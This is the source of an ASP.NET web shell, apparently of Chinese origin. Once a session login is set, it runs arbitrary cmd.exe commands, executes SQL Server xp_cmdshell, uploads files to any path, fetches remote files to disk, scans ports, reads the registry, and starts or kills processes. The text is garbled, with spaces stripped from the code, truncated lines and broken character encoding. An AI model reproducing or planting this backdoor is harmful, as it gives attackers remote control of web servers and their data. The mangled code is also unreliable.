<% if((page=="info")&&(Session["root"]!=null)) { this.LbServerNameC.Text=Server.MachineName; this.LbLangC.Text=Request.UserLanguages[0]; this.LbIpC.Text=Request.UserHostAddress; this.LbBrowerC.Text=Request.UserAgent; this.LbDnsC.Text=Request.UserHostName; this.LbUrlC.Text=Server.MapPath("."); this.LbUrlXdC.Text=Request.Path; this.LbTimeC.Text=DateTime.Now.ToString(); this.Lbversionc.Text=Environment.Version.ToString(); this.LbUserc.Text=Environment.UserName; this.LbBBC.Text=Environment.OSVersion.ToString(); %> |
<%
}
elseif((page=="reg")&&(Session["root"]!=null))
{
%>
protectedvoidButtonReg_Click(objectsender,EventArgse)
{
try
{
stringregvalue=TextBoxReg.Text;
stringval=TextBoxB.Text;
stringvals="ёГЦμ???жФЪЕ?";
char[]separator={''\\''};
String[]patharray=newString[80];
patharray=regvalue.Split(separator);
stringlastvalue="";
for(inti=1;i
{
lastvalue=lastvalue+patharray[i]+"\\";
}
switch(patharray[0])
{
case"HKEY_LOCAL_MACHINE":
RegistryKeyreg=Registry.LocalMachine.OpenSubKey(lastvalue);
LbReg.Text=reg.GetValue(val,"null").ToString();
break;
case"HKEY_CLASSES_ROOT":
RegistryKeyrega=Registry.ClassesRoot.OpenSubKey(lastvalue);
LbReg.Text=rega.GetValue(val,"null").ToString();
break;
case"HKEY_CURRENT_USER":
RegistryKeyregb=Registry.CurrentUser.OpenSubKey(lastvalue);
LbReg.Text=regb.GetValue(val,"null").ToString();
break;
case"HKEY_USERS":
RegistryKeyregc=Registry.Users.OpenSubKey(lastvalue);
LbReg.Text=regc.GetValue(val,"null").ToString();
break;
case"HKEY_CURRENT_CONFIG":
RegistryKeyregd=Registry.CurrentConfig.OpenSubKey(lastvalue);
LbReg.Text=regd.GetValue(val,"null").ToString();
break;
default:
LbReg.Text=val;
break;
}
}
catch(Exception)
{
Response.Write("?тРнУРК?Г?μШ·?КдИл?нОу??тРнЧ??б±н??ФКРн?Б?");
}
}
<%
}
elseif((page=="upload")&&(Session["root"]!=null))
{
%>
±??жВ·??:
protectedvoidButtonFuckUp_Click(objectsender,EventArgse)
{
stringupload=TextBoxSaveUpUrl.Text;
UpFile.PostedFile.SaveAs(upload);
}
<%
}
elseif((page=="cmd")&&(Session["root"]!=null))
{
%>
protectedvoidButtonCmd_Click(objectsender,EventArgse)
{
TextBoxDosC.Text="";
Processmyprocess=newProcess();
ProcessStartInfoMyProcessStartInfo=newProcessStartInfo("cmd.exe");
MyProcessStartInfo.UseShellExecute=false;
MyProcessStartInfo.RedirectStandardOutput=true;
myprocess.StartInfo=MyProcessStartInfo;
MyProcessStartInfo.Arguments="/c"+TextBoxDos.Text;
myprocess.Start();
StreamReadermystream=myprocess.StandardOutput;
TextBoxDosC.Text=mystream.ReadToEnd();
mystream.Close();
}
<%
}
elseif((page=="sql")&&(Session["root"]!=null))
{
%>
protectedvoidButtonSqlCon_Click(objectsender,EventArgse)
{
try
{
SqlConnectionmycon=newSqlConnection();
mycon.ConnectionString="PersistSecurityInfo=False;Userid="+TextBoxSqlB.Text+";pwd="+TextBoxSqlC.Text+";server="+TextBoxSqlA.Text;
mycon.Open();
mycon.Close();
Response.Write("№§П?Дг,Б??У?вКФ?Й№|!");
}
catch(Exception)
{
Response.Write("Зл?м?йХЛ?§ГЬВл,Б??У?вКФК§°Ь!");
}
}
protectedvoidButtonSqlCmd_Click(objectsender,EventArgse)
{
try
{
SqlConnectionmycon=newSqlConnection();
mycon.ConnectionString="PersistSecurityInfo=False;Userid="+TextBoxSqlB.Text+";pwd="+TextBoxSqlC.Text+";server="+TextBoxSqlA.Text;
mycon.Open();
SqlCommandcmd=newSqlCommand();
cmd.Connection=mycon;
cmd.CommandText="execmaster..xp_cmdshell''"+TextBoxSqlCon.Text+"''";
cmd.ExecuteNonQuery();
TextBoxSqlCmd.Text="ГьБо?Й№|Ц?РР!";
mycon.Close();
}
catch(Exception)
{
TextBoxSqlCmd.Text="ГьБоЦ?РРК§°Ь!";
}
}
<%
}
elseif((page=="scan")&&(Session["root"]!=null))
{
%>
IP:
port(?а?Л?ЪЗлУГ???Еёф??)
protectedvoidButtonScan_Click(objectsender,EventArgse)
{
LbScan.Text="";
TcpClientclient=newTcpClient();
stringallport=TextBoxScanPort.Text;
char[]separator={'',''};
String[]portarray=newString[20];
portarray=allport.Split(separator);
intportnum=0;
while(portnum
{
IPAddressaddress=IPAddress.Parse(TextBoxScanIP.Text);
inti=int.Parse(portarray[portnum]);
try
{
client.Connect(address,i);
LbScan.Text+="
client.Close();
}
catch(SocketException)
{
LbScan.Text+=i+"?Л?ЪФУГ???Ду!
";
}
portnum++;
}
client.Close();
}
<%
}
%>
<%
elseif(page=="logout")
{
Session["root"]=null;
Response.Redirect(GetWebName());
%>
<%
}
elseif((page=="clonetime")&&(Session["root"]!=null))
{
%>
Т??ЛВ?μДОД?ю:
±??ЛВ?μДОД?ю:
protectedvoidButtonDown_Click(objectsender,EventArgse)
{
stringurl=TextBoxDurl.Text.ToString();
stringfile=TextBoxDfile.Text.ToString();
WebClientwc=newWebClient();
Streamstr=wc.OpenRead(url);
byte[]bytes=newbyte[1024];
intlen=0;
FileStreamfs=newFileStream(file,FileMode.OpenOrCreate,FileAccess.Write);
while((len=str.Read(bytes,0,1024))!=0)
{
fs.Write(bytes,0,len);
}
fs.Close();
}
<%
}
elseif((page=="newdir")&&(Session["root"]!=null))
{
%>
КдИлВ·???НОД?ю?РГы?Ж:
protectedvoidButtonNewDir_Click(objectsender,EventArgse)
{
Directory.CreateDirectory(TextBoxNewDir.Text.ToString());
Response.Write("Д?В????Ё?Й№|!");
}
<%
}
elseif((page=="index")&&Session["root"]!=null)
{
%>
<%
if(src=="")
{
Response.Write("
}
else
GetDir(src,src);
%>
<%
}
elseif((page=="process")&&Session["root"]!=null)
{
ListBoxPro.Items.Clear();
listprocess();
%>
ЧЬ?ш?МКэ:
protectedvoidButtonExe_Click(objectsender,EventArgse)
{
Processexe=newProcess();
exe.StartInfo.FileName=TextBoxExe.Text.ToString();
exe.StartInfo.Arguments=TextBoxExeC.Text.ToString();
exe.Start();
}
protectedvoidButtonProDel_Click(objectsender,EventArgse)
{
Process[]killprocess=Process.GetProcesses();
try
{
foreach(Processkillinkillprocess)
{
stringprocessname=ListBoxPro.SelectedValue.ToString();
if(processname==kill.ProcessName)
kill.Kill();
}
Response.Write("Й??э?Й№|,ЗлЛ?РВЦ?!Из№ы???Й№|,Зл?аЛ?РВ?ё?ОФЩКФ!");
}
catch(Exceptionwrong)
{
Response.Write("ПμН??нОу:"+wrong+"
");
Response.Write("
}
}
protectedvoidButtonProClear_Click(objectsender,EventArgse)
{
ListBoxPro.Items.Clear();
listprocess();
}
<%
}
elseif((page=="newfile")&&(Session["root"]!=null))
{
%>
protectedvoidButtonNewfile_Click(objectsender,EventArgse)
{
StreamWritersw=newStreamWriter(TextBoxNewfile.Text.ToString(),false,Encoding.Default);
sw.Write(TextBoxNewfiles.Text.ToString());
sw.Close();
}
<%
}
elseif((action=="edit")&&(Session["root"]!=null))
{
%>
<%
TextBoxReadDir.Text=src;
StreamReadersr=newStreamReader(TextBoxReadDir.Text.ToString(),Encoding.Default);
TextBoxFileContent.Text=sr.ReadToEnd();
sr.Close();
%>
protectedvoidButtonCopy_Click(objectsender,EventArgse)
{
stringold=TextBoxCopy.Text;
stringnews=TextBoxCopyTo.Text;
File.Copy(old,news,true);
}
<%
}
elseif(action=="down"&&(Session["root"]!=null))
{
DownFile(src);
%>
publicArrayListal=newArrayList();
protectedvoidPage_Load(objectsender,EventArgse)
{
Response.Write("
}